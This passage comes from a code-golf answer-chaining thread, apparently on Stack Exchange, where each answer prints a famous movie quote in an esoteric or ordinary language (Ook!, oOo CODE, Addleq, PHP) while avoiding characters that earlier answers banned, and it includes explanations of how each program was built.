ok!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook!Ook.Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook!Ook.Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook!Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook!Ook.Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook!Ook.Ook!Ook!Ook!Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook!Ook.Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook!Ook.Ook!Ook!Ook!Ook!Ook!Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook!Ook.Ook!Ook.Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook.Ook!Ook!Ook!Ook.Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook!Ook.Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook.Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook.Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook!Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook!Ook.Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook!Ook.Ook.Ook.Ook!Ook.Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook.Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook.Ook!Ook!Ook!Ook!Ook!Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook!Ook.Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook!Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook!Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook!Ook.Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook.Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook!Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook!Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook!Ook.Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook.Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook!Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook.Ook!Ook. ``` Output is quote 84: ``` "Oh, no, it wasn't the airplanes. It was Beauty killed the Beast." - Carl Denham ``` [Previously forbidden:](https://codegolf.stackexchange.com/a/40582/32045) `py3\" '` [Answer] # 76. [oOo CODE](http://esolangs.org/wiki/OOo_CODE), uses no `-` ``` WhaT_the_FuCk_iS_thE_coDe_i_Am_rEadIng_herE? iT_AcTuaLlY_WorkS_liKe_oTHer_VaLid_CodE_in_The_ProGraMming_lAnGuaGe_CAlleD_oOO_CoDe I_oNlY_wrOte_The_codE_hEre_To_MAke_iT_LoOk_bEttEr tHe_cOde_CouLd_bE_wrIttEn_iN_loTS_oF_tHE_lETtER_o BUt_I_DeCIdED_tO_MaKE_ReAdinG_iT_a_niceR_eXPeRIeNCe NOw_I_am_RuNNing_Out_OF_cOdiNg_tIme_aNd_Fun_thiNgS_To_WRiTE tHerEfORe_i_dECiDed_To_dO_thE_reSt_oF_thE_thIng_WitH_juSt_tHe_lETtEr_o So_eNjoY OoOooOoooOoOooOooOoooooOoOooOoOOoooOooOOooOoOooOoooooOoOOoOOoOOoOOoOOoOOoOooOoOOoooOOoOooOOoOooOooOooOooOooOooOooOooOooOooOooOOoOoooOoOooOooOoooooOoOooOoOOoooOooOOooOoOoooooOoOOoOOoOooOoOOoooOoOOoOOOoOooOOoOoOoOoOooOooOoooooOoOooOoOOoooOoOOoOOoOOOoOoooOoOooOooOooOoooooOoOooOoOOoooOoOOoOOOoOoOoOoOoooooOoOOoOOoOooOoOOoooOoOOOoOoOOoOOoOOoOOoOOoOOoOOoOOoOOoOOoOOOoOOoOoOOoOOoOOOoOoOOOoOoooOoOoOOoOoooOooOooOooooOoOOoooOoOOOoOooOooOooOooOooOooOooOooOooOooOooOooOOoOoOOoOOoOOoOoOoOoooooOoOOoOooOoOOoooOOoOooOooOooOooOooOooOooOOoOoOOoOOoOOoOOoOOoOOoOOoOOoOOoOOoOOOooOoOoooooOoOOoOOoOOoOooOoOOoooOooOooOOoOooOooOooOooOooOooOooOooOooOooOooOooOOoOooOooOOoOooOoooOoOooOoooooOoOOoOOoOooOoOOoooOOooOoOooOooOoooooOoOOoOooOoOOoooOoOOoOOOoOoOOoOoOoOoooooOoOOoOooOoOOoooOOoOooOoooOoOooOoooooOoOOoOOoOooOoOOoooOooOooOOoOoOoOoOooOooOoooooOoOooOoOOoooOOoOoOoOoOoooooOoOOoOOoOooOoOOoooOOoOooOoooOoOooOooOoooooOoOooOoOOoooOooOOoOoOoOoOoooooOoOOoOooOoOOoooOOoOoooOoOooOooOoooooOoOooOoOOoooOoOOoOOoOOoOOOoOoOOoOOoOOoOOoOOoOOoOOoOOOoOooOooOooOooOooOooOooOooOooOooOOoOooOooOooOooOooOooOooOooOooOooOooOooOOoOoOOoOOoOOoOOoOOoOOoOOoOOoOOoOOoOOoOOoOOOo ``` Output is quote 78: ``` "Open the pod bay doors, HAL." - Dave Bowman ``` [Previously forbidden](https://codegolf.stackexchange.com/a/40608/30164): `py3\" ';({s[)<+.@=` I won't post another BF equivalent/derivative. Promise. **EDIT:** I updated the code to be more readable. (lol) Doesn't affect any forbidden characters. I used [this tool](http://copy.sh/brainfuck/text.html) to generate my pure BF. I then converted it to oOo CODE: ``` '<lots of bf code>'.replace(/>/g,'ooo').replace(/</g,'ooO').replace(/\[/g,'oOo').replace(/\]/g,'oOO').replace(/-/g,'Ooo').replace(/\+/g,'OoO').replace(/\./g,'OOo') ``` And then used this Python script to get the "readable" version from pure oOo CODE and an input text: ``` ooocode = '<lots of oOo CODE>' alphabet = [chr(x) for x in range(ord('A'), ord('Z') + 1)] + [chr(x) for x in range(ord('a'), ord('z') + 1)] if len(ooocode) % 3: print("INVALID CODE") inp = input() index = 0 while inp != '': for char in list(inp): if char in alphabet: case = ooocode[index] if case.upper() == case: print(char.upper(), end='') else: if char.lower() in 'py3\\" \';({s[)<+.@=': print("INVALID INPUT") else: print(char.lower(), end='') index += 1 elif char in 'py3\\" \';({s[)<+.@=': print("INVALID INPUT") else: print(char, end='') print("") inp = input() print(ooocode[index:]) ``` [Answer] # 9. [Addleq](http://esolangs.org/wiki/Addleq) (uses no `t`) Uses `sqasm.cpp` in the esolang page to assemble. Requires non-Windows 64-bit platform to work correctly. There are exactly 64 tabs and 64 new lines (no trailing new lines). Whew. ``` 8 448 448 88 448 448 88 444 444 448 444 444 844 448 844 844 848 88 848 8 848 84 884 884 8 884 8 4844 4844 884 4844 88 488 488 8 488 488 444 488 488 4444 4444 8 4444 4444 888 88 888 44 4488 448 88888888888888888888 844 4488 4444 4484 8 4484 88 4448 4484 4448 844 88888888888888888888 4488 88888888888888888888 4484 88888888888888888888 888 88888888888888888888 488 88888888888888888888 444 88888888888888888888 848 88888888888888888888 884 88888888888888888888 4448 88888888888888888888 4444 88888888888888888888 4844 88888888888888888888 444 88888888888888888888 844 88888888888888888888 4488 88888888888888888888 4484 88888888888888888888 888 88888888888888888888 488 88888888888888888888 448 88888888888888888888 444 88888888888888888888 44 88888888888888888888 444 88888888888888888888 848 88888888888888888888 884 88888888888888888888 4448 88888888888888888888 4444 88888888888888888888 4844 88888888888888888888 444 88888888888888888888 844 88888888888888888888 4488 88888888888888888888 4484 88888888888888888888 4 888 88888888888888888888 4 8888 8888 88888888888888888888 ``` Output is quote 22: ``` "Bond. James Bond." - James Bond ``` [Previously forbidden](https://codegolf.stackexchange.com/a/42250/32353): ``` ?!"#$%&'()*+,-./01235679:;<=>@[\]^_` AbBCdDeEFfgGhHiIjJkLmMNoOpPqQRrsTuUvVWxXyYzZ{|}~ ``` Remaining: * Numbers: `4` `8` * Uppercase: `K` `S` * Lowercase: `a` `c` `l` `n` `w` --- "Addleq" an OISC is similar to "Subleq", but uses addition instead of subtraction. ## Constructing "-1" Output in Addleq works by writing to memory address -1. Since all odd numbers are forbidden we cannot construct a -1 by normal means. However, we can trick the assembler into creating a -1: ``` int str2int(const string &s) { int ret=0; sscanf(s.c_str(),"%d",&ret); return ret; } ``` Here `sscanf(s, "%d", &ret)` behaves like `ret = strtol(s, NULL, 10);` (C11 §7.21.6.2/12), and when the input overflows, `strtol` will return LONG\_MAX (C11 §7.22.1.4/8). Thus, if `sizeof(long) > sizeof(int)`, we should get `ret == -1`. However, on platform which `sizeof(long) == sizeof(int)` e.g. 32-bit platforms or Windows, we would get 0x7fffffff making the solution above invalid. ## Saving tabs with the assembler In low-level addleq, each instruction is 3-number long. As we only have 128 whitespaces budget, we have to print the whole string with 129/3 = 43 instructions. This is completely insufficient as the shortest quote (chosen here) is 32-character long. Nevertheless, the assembler supports some shorthand notation: 1. If a line contains only 2 numbers, it will automatically provide the 3rd number as the address of the next instruction 2. If a line contains only 1 number, that number is copied and a 3rd number is provided using rule #1. Rule #2 was designed for "subleq" to quickly zero an address. But for "addleq" it allows us to *double* a value without any tabs. These allow us to barely fit the whole program into 129 numbers. # Creating numbers The quote is chosen because it is short and has a lot of duplicated characters. The numbers we need to create are: ``` 32 space 34 " 45 - 46 . 66 B 74 J 97 a 100 d 101 e 109 m 110 n 111 o 115 s ``` We could use numbers at address 4, 8, 44, 48, 84, 88, .... Rule #1 of the assembler already placed "9" at \*8 and "45" at \*44, so we will just use them (it is good they are odd numbers). Furthermore, we will try to fit "-1", "8" and "44" into these addresses by moving the calculations around. The result is the first half of the code: ``` # *448 = 34 = (9×2 - 1)×2 = (*8×2 + *88)×2 8 448 448 88 448 # Here we get *8 == 9. 448 # *444 = 32 = -2 + 34 = (*88×2) + *448 88 444 444 448 444 # *844 = 66 = 32 + 34 = *444 + *448 444 844 448 844 # *848 = 74 = 66 + 9 - 1 = *844 + *8 + *88 844 848 88 848 8 848 # *884 = 97 = 44×2 + 9 = *884×2 + *8 84 884 884 8 884 # Here we get *44 == 45. # *4844 = 115 = 9×2 + 97 = *8×2 + *884 8 4844 4844 884 4844 # *488 = 46 = (-2 + 9)×2 + 32 = (*88×2 + *8)×2 + *444 88 488 488 8 488 488 444 488 # *4444 = 101 = 46×2 + 9 = *488×2 + *8 488 4444 4444 8 4444 # *888 = 100 = 101 - 1 = *4444 + *88 4444 888 88 888 # *4488 = 111 = 45 + 66 = *44 + *844 # The line in the middle prints '"', and also set *88 == -1 44 4488 # Here we get *84 == *44 448 88888888888888888888 # Here we get *88 == -1 844 4488 # *4484 = 110 = 101 + 9 = *4444 + *8 4444 4484 8 4484 # *4448 = 109 = 110 - 1 = *4484 + *88 88 4448 4484 4448 ``` ## The last line After all numbers are constructed we can print each character. The final program, however, has more than 67 lines, two too many. Therefore, we must combine the last 3 lines together: ``` # From: 4484 88888888888888888888 888 88888888888888888888 8888 8888 88888888888888888888 # To: 4484 88888888888888888888 4 888 88888888888888888888 4 8888 8888 88888888888888888888 ``` Since the line has more than 2 numbers, we have to manually supply the 3rd parameter of the instructions. That means we trade each newline for 2 tabs. Fortunately before the combination we used 60 tabs, so the final result barely passed the requirements. [Answer] # 89. PHP, uses no ``` $j=chr(46);$k=chr(0x20);$l=chr(0x22);$z=chr(112);$q=<<<H ${l}I${k}feel${k}the${k}need${k}-${k}the${k}need${k}for${k}s${z}eed!$l$k-${k}Lt.${k}Pete$k${l}Maverick$l${k}Mitchell${k}and${k}Lt.${k}Nick$k${l}Goose$l${k}Bradshaw H; echo$q; ``` Output is quote 94: ``` "I feel the need - the need for speed!" - Lt. Pete "Maverick" Mitchell and Lt. Nick "Goose" Bradshaw ``` [Previously forbidden](https://codegolf.stackexchange.com/a/40570/29611): `py3\"` [Answer] # 81. [PI](http://esolangs.org/wiki/Pi), uses no `<` ``` 